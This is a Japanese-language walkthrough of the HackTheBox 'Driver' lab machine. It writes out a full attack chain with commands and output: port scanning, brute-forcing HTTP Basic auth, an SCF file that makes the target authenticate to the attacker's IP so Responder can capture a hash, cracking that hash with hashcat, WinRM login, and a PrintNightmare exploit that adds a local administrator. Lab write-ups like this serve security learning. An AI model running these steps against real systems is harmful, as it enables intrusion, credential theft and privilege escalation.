HackTheBox Driver
Driver
侵入
nmap
ポートスキャン
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ sudo nmap -Pn -n -v --reason -sS -p- --min-rate=1000 -A 10.10.11.106 -oN nmap.log
PORT STATE SERVICE REASON VERSION
80/tcp open tcpwrapped syn-ack ttl 127
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp open tcpwrapped syn-ack ttl 127
445/tcp open microsoft-ds? syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
80、135、445、5985番を確認
web
アクセスするには、admin のパスワードが必要らしい
smb
445番を確認したので、いつもの列挙
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ crackmapexec smb 10.10.11.106 --shares
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [-] Error enumerating shares: Error occurs while reading from remote(104)
いつもの出力を確認
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ smbclient -L //10.10.11.106 -N
session setup failed: NT_STATUS_ACCESS_DENIED
smbclient はアクセスが拒否された
hydra
他に情報はなさそうなので、Basic 認証を突破できないか試す
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ hydra -l admin -P password.txt 10.10.11.106 http-get
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-23 14:04:34
[WARNING] You must supply the web page as an additional option or via -m, default path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 6163 login tries (l:1/p:6163), ~386 tries per task
[DATA] attacking http-get://10.10.11.106:80/
[80][http-get] host: 10.10.11.106 login: admin password: admin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-23 14:04:38
admin というパスワードで認証成功した
実際にログインを行うと、アクセスできた。
fw_up.php
ファームウェアをアップロードできるページを発見
記事を参考に、パスワードの入手を試みる
参考記事 -> https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ cat @driver.scf
[Shell]
Command=2
IconFile=\\10.10.14.12\test.ico
[Taskbar]
Command=ToggleDesktop
上記のような scf ファイルを作成し、アップロードする
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ sudo responder -wrf --lm -v -I tun0
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.6.0
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[SMB] NTLMv2 Client : 10.10.11.106
[SMB] NTLMv2 Username : DRIVER\tony
[SMB] NTLMv2 Hash : tony::DRIVER:b2929d1133d3eb7b:2073CDF9754FAE9D7C21C640D9CBEEDA:0101000000000000964FCE764ECFD801280F3826A09623CD00000000020000000000000000000000
パスワードが Hash として出力された
hashcat
hashcat のリストによると、5600番の形であることがわかるので、-m で指定し実行
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
TONY::DRIVER:b2929d1133d3eb7b:2073cdf9754fae9d7c21c640d9cbeeda:0101000000000000964fce764ecfd801280f3826a09623cd00000000020000000000000000000000:liltony
liltony という文字列が出力された
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ crackmapexec winrm 10.10.11.106 -u tony -p 'liltony'
WINRM 10.10.11.106 5985 NONE [*] None (name:10.10.11.106) (domain:None)
WINRM 10.10.11.106 5985 NONE [*] http://10.10.11.106:5985/wsman
WINRM 10.10.11.106 5985 NONE [+] None\tony:liltony (Pwn3d!)
crackmapexec で確認したところ、上手く動作したので、侵入できそう
tony としてのシェル
evil-winrm
┌──(kali㉿kali)-[~/Desktop/Driver]
└─$ evil-winrm -i 10.10.11.106 -u tony -p 'liltony'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents> whoami
driver\tony
侵入成功
user フラグ
*Evil-WinRM* PS C:\Users\tony\Desktop> cat user.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
権限昇格
invoke-nightmare
いつもの列挙でなかなか情報が見つからず、困ったので、Google で 「windows printer privilege escalation」 と調べた。すると、PrintNightmare という脆弱性を見つけた。
ユーザが認証済みである場合、プリンターのドライバーをインストールするために、SYSTEM 権限が付与されることで発生する。
記事を参考にし、攻撃を開始する
参考記事 -> https://0xdf.gitlab.io/2021/07/08/playing-with-printnightmare.html
┌──(kali㉿kali)-[/opt/invoke-nightmare]
└─$ sudo git clone https://github.com/calebstewart/CVE-2021-1675.git
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (3/3), done.
remote: Compressing objects: 100% (2/2), done.
remote: Total 40 (delta 1), reused 1 (delta 1), pack-reused 37
Receiving objects: 100% (40/40), 127.17 KiB | 1.57 MiB/s, done.
Resolving deltas: 100% (9/9), done.
GitHub から 攻撃コードを取得する
*Evil-WinRM* PS C:\Users\tony\Documents> upload /opt/invoke-nightmare/CVE-2021-1675/CVE-2021-1675.ps1
Info: Uploading /opt/invoke-nightmare/CVE-2021-1675/CVE-2021-1675.ps1 to C:\Users\tony\Documents\CVE-2021-1675.ps1
Data: 238080 bytes of 238080 bytes copied
Info: Upload successful!
攻撃コードのアップロードを行う
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1
File C:\Users\tony\Documents\CVE-2021-1675.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ Import-Module .\CVE-2021-1675.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [Import-Module], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess,Microsoft.PowerShell.Commands.ImportModuleCommand
次に、モジュールをインポートしようとしたが、実行ポリシーによりブロックされた
*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy Unrestricted -Scope CurrentUser
なので、単純に現在のユーザに対して無制限の実行を設定してみます
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\CVE-2021-1675.ps1
再度インポートすると、エラーが出力されず上手くいった
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -NewUser "shoQ" -NewPassword "shoQ555"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user shoQ as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
新たなユーザを shoQ という名前で追加する
root としてのシェル
evil-winrm
先程のユーザ情報を使用し、evil-winrm を実行
┌──(kali㉿kali)-[/opt/netcat]
└─$ evil-winrm -i 10.10.11.106 -u shoQ -p 'shoQ555'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\shoQ\Documents> whoami
driver\shoq
接続に成功
*Evil-WinRM* PS C:\Users\shoQ\Documents> net user shoQ
User name shoQ
Full Name shoQ
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 9/23/2022 2:17:16 PM
Password expires Never
Password changeable 9/23/2022 2:17:16 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 9/23/2022 2:19:53 PM
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
net user により、shoQ が Administrators であることを確認。権限昇格成功
root フラグ
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
フラグ取得
所感
今回のボックスは、侵入まではスムーズに進めたのだが、権限昇格にかなり時間を使ってしまった。PrintNightmare は聞いたことはあったのだが、詳しくなかったため、思いつくになかなか至らなかった。他の方のウォークスルーなどをみると、さまざまな攻略法があることがわかったので、色々と試してみたい。
Discussion